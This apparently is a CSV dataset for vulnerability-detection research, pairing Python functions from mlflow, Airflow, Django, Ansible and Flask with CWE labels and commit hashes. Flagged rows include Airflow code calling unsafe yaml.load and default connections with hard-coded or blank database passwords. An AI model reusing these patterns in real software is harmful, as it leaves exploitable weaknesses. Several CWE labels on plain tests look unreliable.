,UNKNOWN,UNKNOWN,tests/xgboost/test_xgboost_autolog.py,1,"def test_xgb_autolog_logs_specified_feature_importance(bst_params, dtrain):
    importance_types = [""weight"", ""total_gain""]
    mlflow.xgboost.autolog(importance_types=importance_types)
    model = xgb.train(bst_params, dtrain)
    run = get_latest_run()
    run_id = run.info.run_id
    artifacts_dir = run.info.artifact_uri.replace(""file://"", """")
    client = mlflow.tracking.MlflowClient()
    artifacts = [x.path for x in client.list_artifacts(run_id)]

    for imp_type in importance_types:
        plot_name = ""feature_importance_{}.png"".format(imp_type)
        assert plot_name in artifacts

        json_name = ""feature_importance_{}.json"".format(imp_type)
        assert json_name in artifacts

        json_path = os.path.join(artifacts_dir, json_name)
        with open(json_path, ""r"") as f:
            loaded_imp = json.load(f)

        assert loaded_imp == model.get_score(importance_type=imp_type)",CWE-703,mlflow/mlflow,e0e7181d769e3996c6390ca5431dee67fcf466ad,"def test_xgb_autolog_logs_specified_feature_importance(bst_params, dtrain):
    importance_types = [""weight"", ""total_gain""]
    mlflow.xgboost.autolog(importance_types=importance_types)
    model = xgb.train(bst_params, dtrain)
    run = get_latest_run()
    run_id = run.info.run_id
    artifacts_dir = run.info.artifact_uri.replace(""file://"", """")
    client = mlflow.tracking.MlflowClient()
    artifacts = [x.path for x in client.list_artifacts(run_id)]

    for imp_type in importance_types:
        plot_name = ""feature_importance_{}.png"".format(imp_type)
        assert plot_name in artifacts

        json_name = ""feature_importance_{}.json"".format(imp_type)
        assert json_name in artifacts

        json_path = os.path.join(artifacts_dir, json_name)
        with open(json_path, ""r"") as f:
            loaded_imp = json.load(f)

        assert loaded_imp == model.get_score(importance_type=imp_type)"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/hooks/test_emr_serverless.py,1,"def test_cancel_jobs(self, conn_mock: MagicMock):
        conn_mock().get_paginator().paginate.return_value = [{""jobRuns"": [{""id"": ""job1""}, {""id"": ""job2""}]}]
        hook = EmrServerlessHook(aws_conn_id=""aws_default"")
        waiter_mock = MagicMock()
        hook.get_waiter = waiter_mock  # type:ignore[method-assign]

        hook.cancel_running_jobs(""app"")

        assert conn_mock().cancel_job_run.call_count == 2
        conn_mock().cancel_job_run.assert_any_call(applicationId=""app"", jobRunId=""job1"")
        conn_mock().cancel_job_run.assert_any_call(applicationId=""app"", jobRunId=""job2"")
        waiter_mock.assert_called_with(""no_job_running"")",CWE-703,apache/airflow,59b32dc0a0bcdffd124b82d92428f334646cd8cd,"def test_cancel_jobs(self, conn_mock: MagicMock):
        conn_mock().get_paginator().paginate.return_value = [{""jobRuns"": [{""id"": ""job1""}, {""id"": ""job2""}]}]
        hook = EmrServerlessHook(aws_conn_id=""aws_default"")
        waiter_mock = MagicMock()
        hook.get_waiter = waiter_mock

        hook.cancel_running_jobs(""app"")

        assert conn_mock().cancel_job_run.call_count == 2
        conn_mock().cancel_job_run.assert_any_call(applicationId=""app"", jobRunId=""job1"")
        conn_mock().cancel_job_run.assert_any_call(applicationId=""app"", jobRunId=""job2"")
        waiter_mock.assert_called_with(""no_job_running"")"
,UNKNOWN,UNKNOWN,tests/dbshell/test_postgresql.py,1,"def test_accent(self):
        username = 'rôle'
        password = 'sésame'
        self.assertEqual(
            self._run_it({
                'database': 'dbname',
                'user': username,
                'password': password,
                'host': 'somehost',
                'port': '444',
            }), (
                ['psql', '-U', username, '-h', 'somehost', '-p', '444', 'dbname'],
                {'PGPASSWORD': password},
            )
        )",CWE-259,django/django,9f11939dd1477981da2f3a5487d80101faa21230,"def test_accent(self):
        username = 'rôle'
        password = 'sésame'
        self.assertEqual(
            self._run_it({
                'database': 'dbname',
                'user': username,
                'password': password,
                'host': 'somehost',
                'port': '444',
            }), (
                ['psql', '-U', username, '-h', 'somehost', '-p', '444', 'dbname'],
                {'PGPASSWORD': password},
            )
        )"
,UNKNOWN,UNKNOWN,tests/evaluate/test_default_evaluator.py,1,"def test_evaluate_custom_metrics_string_values():
    with mlflow.start_run():
        model_info = mlflow.pyfunc.log_model(
            artifact_path=""model"", python_model=language_model, input_example=[""a"", ""b""]
        )
        data = pd.DataFrame({""text"": [""Hello world"", ""My name is MLflow""]})
        results = mlflow.evaluate(
            model_info.model_uri,
            data,
            extra_metrics=[
                make_metric(
                    eval_fn=lambda predictions, metrics, eval_config: MetricValue(
                        aggregate_results={""eval_config_value_average"": eval_config}
                    ),
                    name=""cm"",
                    greater_is_better=True,
                    long_name=""custom_metric"",
                )
            ],
            evaluators=""default"",
            evaluator_config={""eval_config"": 3},
        )
        assert results.metrics[""cm/eval_config_value_average""] == 3",CWE-703,mlflow/mlflow,12dcc9dcc0d5b21581dda91c377c14905e38d9d8,"def test_evaluate_custom_metrics_string_values():
    with mlflow.start_run():
        model_info = mlflow.pyfunc.log_model(
            artifact_path=""model"", python_model=language_model, input_example=[""a"", ""b""]
        )
        data = pd.DataFrame({""text"": [""Hello world"", ""My name is MLflow""]})
        results = mlflow.evaluate(
            model_info.model_uri,
            data,
            extra_metrics=[
                make_metric(
                    eval_fn=lambda predictions, metrics, eval_config: MetricValue(
                        aggregate_results={""eval_config_value_average"": eval_config}
                    ),
                    name=""cm"",
                    greater_is_better=True,
                    long_name=""custom_metric"",
                )
            ],
            evaluators=""default"",
            evaluator_config={""eval_config"": 3},
        )
        assert results.metrics[""cm/eval_config_value_average""] == 3"
,UNKNOWN,UNKNOWN,django/db/backends/mysql/schema.py,1,"def add_field(self, model, field):
        super().add_field(model, field)

        # Simulate the effect of a one-off default.
        # field.default may be unhashable, so a set isn't used for ""in"" check.
        if self.skip_default(field) and field.default not in (None, NOT_PROVIDED):
            effective_default = self.effective_default(field)
            self.execute(
                ""UPDATE %(table)s SET %(column)s = %%s""
                % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""column"": self.quote_name(field.column),
                },
                [effective_default],
            )",CWE-89,django/django,5e0be0873ca6fe0c4ad7abe1398443bdf367d16e,"def add_field(self, model, field):
        super().add_field(model, field)

        # Simulate the effect of a one-off default.
        # field.default may be unhashable, so a set isn't used for ""in"" check.
        if self.skip_default(field) and field.default not in (None, NOT_PROVIDED):
            effective_default = self.effective_default(field)
            self.execute(
                ""UPDATE %(table)s SET %(column)s = %%s""
                % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""column"": self.quote_name(field.column),
                },
                [effective_default],
            )"
,UNKNOWN,UNKNOWN,airflow/contrib/kubernetes/kubernetes_request_factory/pod_request_factory.py,1,"def create(self, pod):
        # type: (Pod) -> dict
        req = yaml.load(self._yaml)
        self.extract_name(pod, req)
        self.extract_labels(pod, req)
        self.extract_image(pod, req)
        self.extract_image_pull_policy(pod, req)
        self.extract_cmds(pod, req)
        self.extract_args(pod, req)
        self.extract_node_selector(pod, req)
        self.extract_env_and_secrets(pod, req)
        self.extract_volume_secrets(pod, req)
        self.attach_volumes(pod, req)
        self.attach_volume_mounts(pod, req)
        self.extract_resources(pod, req)
        self.extract_service_account_name(pod, req)
        self.extract_init_containers(pod, req)
        self.extract_image_pull_secrets(pod, req)
        return req",CWE-20,apache/airflow,c0920efc012468681cff3d3c9cfe25c7381dc976,"def create(self, pod):
        # type: (Pod) -> dict
        req = yaml.load(self._yaml)
        self.extract_name(pod, req)
        self.extract_labels(pod, req)
        self.extract_image(pod, req)
        self.extract_image_pull_policy(pod, req)
        self.extract_cmds(pod, req)
        self.extract_args(pod, req)
        self.extract_node_selector(pod, req)
        self.extract_env_and_secrets(pod, req)
        self.extract_volume_secrets(pod, req)
        self.attach_volumes(pod, req)
        self.attach_volume_mounts(pod, req)
        self.extract_service_account_name(pod, req)
        self.extract_init_containers(pod, req)
        self.extract_image_pull_secrets(pod, req)
        return req"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/overlays/windows/win7.py,0,"def modification(self, profile):
        profile.object_classes.update({'_OBJECT_HEADER': _OBJECT_HEADER})",,volatilityfoundation/volatility,3c9eb9e5beae06566aa8f26166835a0d8a69493a,"def modification(self, profile):
        profile.object_classes.update({'_OBJECT_HEADER': _OBJECT_HEADER})"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/inventory/__init__.py,0,"def _split_pattern(self, pattern):
        """"""
        Takes a string containing host patterns separated by commas (or a list
        thereof) and returns a list of single patterns (which may not contain
        commas). Whitespace is ignored.

        Also accepts ':' as a separator for backwards compatibility, but it is
        not recommended due to the conflict with IPv6 addresses and host ranges.

        Example: 'a,b[1], c[2:3] , d' -> ['a', 'b[1]', 'c[2:3]', 'd']
        """"""

        if isinstance(pattern, list):
            return list(itertools.chain(*map(self._split_pattern, pattern)))

        if ';' in pattern:
            display.deprecated(""Use ',' instead of ';' to separate host patterns"")

        # If it's got commas in it, we'll treat it as a straightforward
        # comma-separated list of patterns.

        elif ',' in pattern:
            patterns = re.split('\s*,\s*', pattern)

        # If it doesn't, it could still be a single pattern. This accounts for
        # non-separator uses of colons: IPv6 addresses and [x:y] host ranges.

        else:
            (base, port) = parse_address(pattern, allow_ranges=True)
            if base:
                patterns = [pattern]

            # The only other case we accept is a ':'-separated list of patterns.
            # This mishandles IPv6 addresses, and is retained only for backwards
            # compatibility.

            else:
                patterns = re.findall(
                    r'''(?:             # We want to match something comprising:
                            [^\s:\[\]]  # (anything other than whitespace or ':[]'
                            |           # ...or...
                            \[[^\]]*\]  # a single complete bracketed expression)
                        )+              # occurring once or more
                    ''', pattern, re.X
                )

                if len(patterns) > 1:
                    display.deprecated(""Use ',' instead of ':' to separate host patterns"")

        return [p.strip() for p in patterns]",,ansible/ansible,c637d60a8d433e5001f8379667d7a830e0a8400b,"def _split_pattern(self, pattern):
        """"""
        Takes a string containing host patterns separated by commas (or a list
        thereof) and returns a list of single patterns (which may not contain
        commas). Whitespace is ignored.

        Also accepts ':' as a separator for backwards compatibility, but it is
        not recommended due to the conflict with IPv6 addresses and host ranges.

        Example: 'a,b[1], c[2:3] , d' -> ['a', 'b[1]', 'c[2:3]', 'd']
        """"""

        if isinstance(pattern, list):
            return list(itertools.chain(*map(self._split_pattern, pattern)))

        if ';' in pattern:
            display.deprecated(""Use ',' instead of ':' or ';' to separate host patterns"", version=2.0, removed=True)

        # If it's got commas in it, we'll treat it as a straightforward
        # comma-separated list of patterns.

        elif ',' in pattern:
            patterns = re.split('\s*,\s*', pattern)

        # If it doesn't, it could still be a single pattern. This accounts for
        # non-separator uses of colons: IPv6 addresses and [x:y] host ranges.

        else:
            (base, port) = parse_address(pattern, allow_ranges=True)
            if base:
                patterns = [pattern]

            # The only other case we accept is a ':'-separated list of patterns.
            # This mishandles IPv6 addresses, and is retained only for backwards
            # compatibility.

            else:
                patterns = re.findall(
                    r'''(?:             # We want to match something comprising:
                            [^\s:\[\]]  # (anything other than whitespace or ':[]'
                            |           # ...or...
                            \[[^\]]*\]  # a single complete bracketed expression)
                        )+              # occurring once or more
                    ''', pattern, re.X
                )

                if len(patterns) > 1:
                    display.deprecated(""Use ',' instead of ':' or ';' to separate host patterns"", version=2.0)

        return [p.strip() for p in patterns]"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/evaluation/fluent.py,0,"def log_evaluation(
    *,
    inputs: Dict[str, Any],
    outputs: Dict[str, Any],
    inputs_id: Optional[str] = None,
    request_id: Optional[str] = None,
    targets: Optional[Dict[str, Any]] = None,
    assessments: Optional[Union[List[Assessment], List[Dict[str, Any]]]] = None,
    metrics: Optional[Union[List[Metric], Dict[str, float]]] = None,
    run_id: Optional[str] = None,
) -> EvaluationEntity:
    """"""
    Logs an evaluation to an MLflow Run.

    Args:
      inputs (Dict[str, Any]): Input fields used by the model to compute outputs.
      outputs (Dict[str, Any]): Outputs computed by the model.
      inputs_id (Optional[str]): Unique identifier for the evaluation `inputs`. If not specified,
          a unique identifier is generated by hashing the inputs.
      request_id (Optional[str]): ID of an MLflow Trace corresponding to the inputs and outputs.
          If specified, displayed in the MLflow UI to help with root causing issues and identifying
          more granular areas for improvement when reviewing the evaluation and adding assessments.
      targets (Optional[Dict[str, Any]]): Targets (ground truths) corresponding to one or more of
          the evaluation `outputs`. Helps root cause issues when reviewing the evaluation and adding
          assessments.
      assessments (Optional[Union[List[Assessment], List[Dict[str, Any]]]]): Assessment of the
          evaluation, e.g., relevance of documents retrieved by a RAG model to a user input query,
          as assessed by an LLM Judge.
      metrics (Optional[Union[List[Metric], Dict[str, float]]]): Numerical metrics for the
          evaluation, e.g., ""number of input tokens"", ""number of output tokens"".
      run_id (Optional[str]): ID of the MLflow Run to log the evaluation. If unspecified, the
          current active run is used.

    Returns:
       EvaluationEntity: The logged Evaluation object.
    """"""
    if assessments and isinstance(assessments[0], dict):
        if not all(isinstance(assess, dict) for assess in assessments):
            raise MlflowException(
                ""If `assessments` contains a dictionary, all elements must be dictionaries."",
                error_code=INVALID_PARAMETER_VALUE,
            )
        assessments = [Assessment.from_dictionary(assess) for assess in assessments]
    verify_assessments_have_same_value_type(assessments)

    if metrics and isinstance(metrics, dict):
        metrics = [
            Metric(key=k, value=v, timestamp=int(time.time() * 1000), step=0)
            for k, v in metrics.items()
        ]

    evaluation = Evaluation(
        inputs=inputs,
        outputs=outputs,
        inputs_id=inputs_id,
        request_id=request_id,
        targets=targets,
        assessments=assessments,
        metrics=metrics,
    )

    return log_evaluations(evaluations=[evaluation], run_id=run_id)[0]",,mlflow/mlflow,d28451abb9b2addf0a82402bb06d8726011a174e,"def log_evaluation(
    *,
    inputs: Dict[str, Any],
    outputs: Dict[str, Any],
    inputs_id: Optional[str] = None,
    request_id: Optional[str] = None,
    targets: Optional[Dict[str, Any]] = None,
    assessments: Optional[Union[List[Assessment], List[Dict[str, Any]]]] = None,
    metrics: Optional[Union[List[Metric], Dict[str, float]]] = None,
    run_id: Optional[str] = None,
):
    """"""
    Logs an evaluation to an MLflow Run.

    Args:
      inputs (Dict[str, Any]): Input fields used by the model to compute outputs.
      outputs (Dict[str, Any]): Outputs computed by the model.
      inputs_id (Optional[str]): Unique identifier for the evaluation `inputs`. If not specified,
          a unique identifier is generated by hashing the inputs.
      request_id (Optional[str]): ID of an MLflow Trace corresponding to the inputs and outputs.
          If specified, displayed in the MLflow UI to help with root causing issues and identifying
          more granular areas for improvement when reviewing the evaluation and adding assessments.
      targets (Optional[Dict[str, Any]]): Targets (ground truths) corresponding to one or more of
          the evaluation `outputs`. Helps root cause issues when reviewing the evaluation and adding
          assessments.
      assessments (Optional[Union[List[Assessment], List[Dict[str, Any]]]]): Assessment of the
          evaluation, e.g., relevance of documents retrieved by a RAG model to a user input query,
          as assessed by an LLM Judge.
      metrics (Optional[Union[List[Metric], Dict[str, float]]]): Numerical metrics for the
          evaluation, e.g., ""number of input tokens"", ""number of output tokens"".
      run_id (Optional[str]): ID of the MLflow Run to log the evaluation. If unspecified, the
          current active run is used.
    """"""
    if assessments and isinstance(assessments[0], dict):
        if not all(isinstance(assess, dict) for assess in assessments):
            raise MlflowException(
                ""If `assessments` contains a dictionary, all elements must be dictionaries."",
                error_code=INVALID_PARAMETER_VALUE,
            )
        assessments = [Assessment.from_dictionary(assess) for assess in assessments]
    verify_assessments_have_same_value_type(assessments)

    if metrics and isinstance(metrics, dict):
        metrics = [
            Metric(key=k, value=v, timestamp=time.time() * 1000, step=0) for k, v in metrics.items()
        ]

    evaluation = Evaluation(
        inputs=inputs,
        outputs=outputs,
        inputs_id=inputs_id,
        request_id=request_id,
        targets=targets,
        assessments=assessments,
        metrics=metrics,
    )

    log_evaluations(evaluations=[evaluation], run_id=run_id)"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/hooks/test_s3.py,1,"def test_list_prefixes(self, s3_bucket):
        hook = S3Hook()
        bucket = hook.get_bucket(s3_bucket)
        bucket.put_object(Key='a', Body=b'a')
        bucket.put_object(Key='dir/b', Body=b'b')
        bucket.put_object(Key='dir/sub_dir/c', Body=b'c')

        assert [] == hook.list_prefixes(s3_bucket, prefix='non-existent/')
        assert [] == hook.list_prefixes(s3_bucket)
        assert ['dir/'] == hook.list_prefixes(s3_bucket, delimiter='/')
        assert [] == hook.list_prefixes(s3_bucket, prefix='dir/')
        assert ['dir/sub_dir/'] == hook.list_prefixes(s3_bucket, delimiter='/', prefix='dir/')
        assert [] == hook.list_prefixes(s3_bucket, prefix='dir/sub_dir/')",CWE-703,apache/airflow,760bf6e51c5b61412243028d4f10cdb14830878a,"def test_list_prefixes(self, s3_bucket):
        hook = S3Hook()
        bucket = hook.get_bucket(s3_bucket)
        bucket.put_object(Key='a', Body=b'a')
        bucket.put_object(Key='dir/b', Body=b'b')

        assert [] == hook.list_prefixes(s3_bucket, prefix='non-existent/')
        assert ['dir/'] == hook.list_prefixes(s3_bucket, delimiter='/')
        assert ['a'] == hook.list_keys(s3_bucket, delimiter='/')
        assert ['dir/b'] == hook.list_keys(s3_bucket, prefix='dir/')"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/blueprints.py,0,"def __init__(
        self,
        name: str,
        import_name: str,
        static_folder: t.Optional[t.Union[str, os.PathLike]] = None,
        static_url_path: t.Optional[str] = None,
        template_folder: t.Optional[t.Union[str, os.PathLike]] = None,
        url_prefix: t.Optional[str] = None,
        subdomain: t.Optional[str] = None,
        url_defaults: t.Optional[dict] = None,
        root_path: t.Optional[str] = None,
        cli_group: t.Optional[str] = _sentinel,  # type: ignore
    ):
        super().__init__(
            import_name=import_name,
            static_folder=static_folder,
            static_url_path=static_url_path,
            template_folder=template_folder,
            root_path=root_path,
        )

        if ""."" in name:
            raise ValueError(""'name' may not contain a dot '.' character."")

        self.name = name
        self.url_prefix = url_prefix
        self.subdomain = subdomain
        self.deferred_functions: t.List[DeferredSetupFunction] = []

        if url_defaults is None:
            url_defaults = {}

        self.url_values_defaults = url_defaults
        self.cli_group = cli_group
        self._blueprints: t.List[t.Tuple[""Blueprint"", dict]] = []",,pallets/flask,631b6dd54619f5e71134297e3daa9bdbd1bc123b,"def __init__(
        self,
        name: str,
        import_name: str,
        static_folder: t.Optional[t.Union[str, os.PathLike]] = None,
        static_url_path: t.Optional[str] = None,
        template_folder: t.Optional[str] = None,
        url_prefix: t.Optional[str] = None,
        subdomain: t.Optional[str] = None,
        url_defaults: t.Optional[dict] = None,
        root_path: t.Optional[str] = None,
        cli_group: t.Optional[str] = _sentinel,  # type: ignore
    ):
        super().__init__(
            import_name=import_name,
            static_folder=static_folder,
            static_url_path=static_url_path,
            template_folder=template_folder,
            root_path=root_path,
        )

        if ""."" in name:
            raise ValueError(""'name' may not contain a dot '.' character."")

        self.name = name
        self.url_prefix = url_prefix
        self.subdomain = subdomain
        self.deferred_functions: t.List[DeferredSetupFunction] = []

        if url_defaults is None:
            url_defaults = {}

        self.url_values_defaults = url_defaults
        self.cli_group = cli_group
        self._blueprints: t.List[t.Tuple[""Blueprint"", dict]] = []"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/vmware.py,0,"def find_obj(content, vimtype, name, first=True):
    container = content.viewManager.CreateContainerView(container=content.rootFolder, recursive=True, type=vimtype)
    obj_list = container.view
    container.Destroy()

    # Backward compatible with former get_obj() function
    if name is None:
        if obj_list:
            return obj_list[0]
        return None

    # Select the first match
    if first is True:
        for obj in obj_list:
            if to_text(obj.name) == to_text(name):
                return obj

        # If no object found, return None
        return None

    # Return all matching objects if needed
    return [obj for obj in obj_list if obj.name == name]",,ansible/ansible,aefe9634836287818c4fbcf193e15b6ed7558d75,"def find_obj(content, vimtype, name, first=True):
    container = content.viewManager.CreateContainerView(container=content.rootFolder, recursive=True, type=vimtype)
    obj_list = container.view
    container.Destroy()

    # Backward compatible with former get_obj() function
    if name is None:
        if obj_list:
            return obj_list[0]
        return None

    # Select the first match
    if first is True:
        for obj in obj_list:
            if obj.name == name:
                return obj

        # If no object found, return None
        return None

    # Return all matching objects if needed
    return [obj for obj in obj_list if obj.name == name]"
,UNKNOWN,UNKNOWN,providers/tests/papermill/operators/test_papermill.py,1,"def test_render_template(self, create_task_instance_of_operator):
        """"""Test rendering fields.""""""
        from airflow.providers.papermill.operators.papermill import PapermillOperator

        ti = create_task_instance_of_operator(
            PapermillOperator,
            input_nb=""/tmp/{{ dag.dag_id }}.ipynb"",
            output_nb=""/tmp/out-{{ dag.dag_id }}.ipynb"",
            parameters={""msgs"": ""dag id is {{ dag.dag_id }}!"", ""test_dt"": ""{{ ds }}""},
            kernel_name=""{{ params.kernel_name }}"",
            language_name=""{{ params.language_name }}"",
            # Additional parameters for render fields
            params={
                ""kernel_name"": ""python3"",
                ""language_name"": ""python"",
            },
            # TI Settings
            dag_id=""test_render_template"",
            task_id=""render_dag_test"",
        )
        task = ti.render_templates()

        # Test render Input/Output notebook attributes
        assert task.input_nb == ""/tmp/test_render_template.ipynb""
        assert task.output_nb == ""/tmp/out-test_render_template.ipynb""

        # Test render other templated attributes
        assert task.kernel_name == ""python3""
        assert task.language_name == ""python""",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_render_template(self, create_task_instance_of_operator):
        """"""Test rendering fields.""""""
        from airflow.providers.papermill.operators.papermill import PapermillOperator

        ti = create_task_instance_of_operator(
            PapermillOperator,
            input_nb=""/tmp/{{ dag.dag_id }}.ipynb"",
            output_nb=""/tmp/out-{{ dag.dag_id }}.ipynb"",
            parameters={""msgs"": ""dag id is {{ dag.dag_id }}!"", ""test_dt"": ""{{ ds }}""},
            kernel_name=""{{ params.kernel_name }}"",
            language_name=""{{ params.language_name }}"",
            # Additional parameters for render fields
            params={
                ""kernel_name"": ""python3"",
                ""language_name"": ""python"",
            },
            # TI Settings
            dag_id=""test_render_template"",
            task_id=""render_dag_test"",
        )
        task = ti.render_templates()

        # Test render Input/Output notebook attributes
        assert task.input_nb == ""/tmp/test_render_template.ipynb""
        assert task.output_nb == ""/tmp/out-test_render_template.ipynb""

        # Test render other templated attributes
        assert ""python3"" == task.kernel_name
        assert ""python"" == task.language_name"
,UNKNOWN,UNKNOWN,airflow/utils/db.py,1,"def create_default_connections(session=None):
    """"""
    Create default Airflow connections.
    """"""
    merge_conn(
        Connection(
            conn_id=""airflow_db"",
            conn_type=""mysql"",
            host=""mysql"",
            login=""root"",
            password="""",
            schema=""airflow"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""aws_default"",
            conn_type=""aws"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""azure_batch_default"",
            conn_type=""azure_batch"",
            login=""<ACCOUNT_NAME>"",
            password="""",
            extra='''{""account_url"": ""<ACCOUNT_URL>""}'''
        )
    )
    merge_conn(
        Connection(
            conn_id=""azure_container_instances_default"",
            conn_type=""azure_container_instances"",
            extra='{""tenantId"": ""<TENANT>"", ""subscriptionId"": ""<SUBSCRIPTION ID>"" }',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""azure_cosmos_default"",
            conn_type=""azure_cosmos"",
            extra='{""database_name"": ""<DATABASE_NAME>"", ""collection_name"": ""<COLLECTION_NAME>"" }',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id='azure_data_explorer_default', conn_type='azure_data_explorer',
            host='https://<CLUSTER>.kusto.windows.net',
            extra='''{""auth_method"": ""<AAD_APP | AAD_APP_CERT | AAD_CREDS | AAD_DEVICE>"",
                    ""tenant"": ""<TENANT ID>"", ""certificate"": ""<APPLICATION PEM CERTIFICATE>"",
                    ""thumbprint"": ""<APPLICATION CERTIFICATE THUMBPRINT>""}'''
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""azure_data_lake_default"",
            conn_type=""azure_data_lake"",
            extra='{""tenant"": ""<TENANT>"", ""account_name"": ""<ACCOUNTNAME>"" }',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""cassandra_default"",
            conn_type=""cassandra"",
            host=""cassandra"",
            port=9042,
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""databricks_default"",
            conn_type=""databricks"",
            host=""localhost"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""dingding_default"",
            conn_type=""http"",
            host="""",
            password="""",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""druid_broker_default"",
            conn_type=""druid"",
            host=""druid-broker"",
            port=8082,
            extra='{""endpoint"": ""druid/v2/sql""}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""druid_ingest_default"",
            conn_type=""druid"",
            host=""druid-overlord"",
            port=8081,
            extra='{""endpoint"": ""druid/indexer/v1/task""}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""elasticsearch_default"",
            conn_type=""elasticsearch"",
            host=""localhost"",
            schema=""http"",
            port=9200
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""emr_default"",
            conn_type=""emr"",
            extra=""""""
                {   ""Name"": ""default_job_flow_name"",
                    ""LogUri"": ""s3://my-emr-log-bucket/default_job_flow_location"",
                    ""ReleaseLabel"": ""emr-4.6.0"",
                    ""Instances"": {
                        ""Ec2KeyName"": ""mykey"",
                        ""Ec2SubnetId"": ""somesubnet"",
                        ""InstanceGroups"": [
                            {
                                ""Name"": ""Master nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""MASTER"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            },
                            {
                                ""Name"": ""Slave nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""CORE"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            }
                        ],
                        ""TerminationProtected"": false,
                        ""KeepJobFlowAliveWhenNoSteps"": false
                    },
                    ""Applications"":[
                        { ""Name"": ""Spark"" }
                    ],
                    ""VisibleToAllUsers"": true,
                    ""JobFlowRole"": ""EMR_EC2_DefaultRole"",
                    ""ServiceRole"": ""EMR_DefaultRole"",
                    ""Tags"": [
                        {
                            ""Key"": ""app"",
                            ""Value"": ""analytics""
                        },
                        {
                            ""Key"": ""environment"",
                            ""Value"": ""development""
                        }
                    ]
                }
            """""",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""facebook_default"",
            conn_type=""facebook_social"",
            extra=""""""
                {   ""account_id"": ""<AD_ACCOUNNT_ID>"",
                    ""app_id"": ""<FACEBOOK_APP_ID>"",
                    ""app_secret"": ""<FACEBOOK_APP_SECRET>"",
                    ""access_token"": ""<FACEBOOK_AD_ACCESS_TOKEN>""
                }
            """""",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""fs_default"",
            conn_type=""fs"",
            extra='{""path"": ""/""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""google_cloud_default"",
            conn_type=""google_cloud_platform"",
            schema=""default"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""hive_cli_default"",
            conn_type=""hive_cli"",
            port=10000,
            host=""localhost"",
            extra='{""use_beeline"": true, ""auth"": """"}',
            schema=""default"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""hiveserver2_default"",
            conn_type=""hiveserver2"",
            host=""localhost"",
            schema=""default"",
            port=10000,
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""http_default"",
            conn_type=""http"",
            host=""https://www.httpbin.org/"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id='kubernetes_default',
            conn_type='kubernetes',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id='kylin_default',
            conn_type='kylin',
            host='localhost',
            port=7070,
            login=""ADMIN"",
            password=""KYLIN""
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""livy_default"",
            conn_type=""livy"",
            host=""livy"",
            port=8998
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""local_mysql"",
            conn_type=""mysql"",
            host=""localhost"",
            login=""airflow"",
            password=""airflow"",
            schema=""airflow"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""metastore_default"",
            conn_type=""hive_metastore"",
            host=""localhost"",
            extra='{""authMechanism"": ""PLAIN""}',
            port=9083,
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""mongo_default"",
            conn_type=""mongo"",
            host=""mongo"",
            port=27017
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""mssql_default"",
            conn_type=""mssql"",
            host=""localhost"",
            port=1433,
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""mysql_default"",
            conn_type=""mysql"",
            login=""root"",
            schema=""airflow"",
            host=""mysql"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""opsgenie_default"",
            conn_type=""http"",
            host="""",
            password="""",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""pig_cli_default"",
            conn_type=""pig_cli"",
            schema=""default"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""pinot_admin_default"",
            conn_type=""pinot"",
            host=""localhost"",
            port=9000,
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""pinot_broker_default"",
            conn_type=""pinot"",
            host=""localhost"",
            port=9000,
            extra='{""endpoint"": ""/query"", ""schema"": ""http""}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""postgres_default"",
            conn_type=""postgres"",
            login=""postgres"",
            password=""airflow"",
            schema=""airflow"",
            host=""postgres"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""presto_default"",
            conn_type=""presto"",
            host=""localhost"",
            schema=""hive"",
            port=3400,
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""qubole_default"",
            conn_type=""qubole"",
            host=""localhost"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""redis_default"",
            conn_type=""redis"",
            host=""redis"",
            port=6379,
            extra='{""db"": 0}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""segment_default"",
            conn_type=""segment"",
            extra='{""write_key"": ""my-segment-write-key""}',
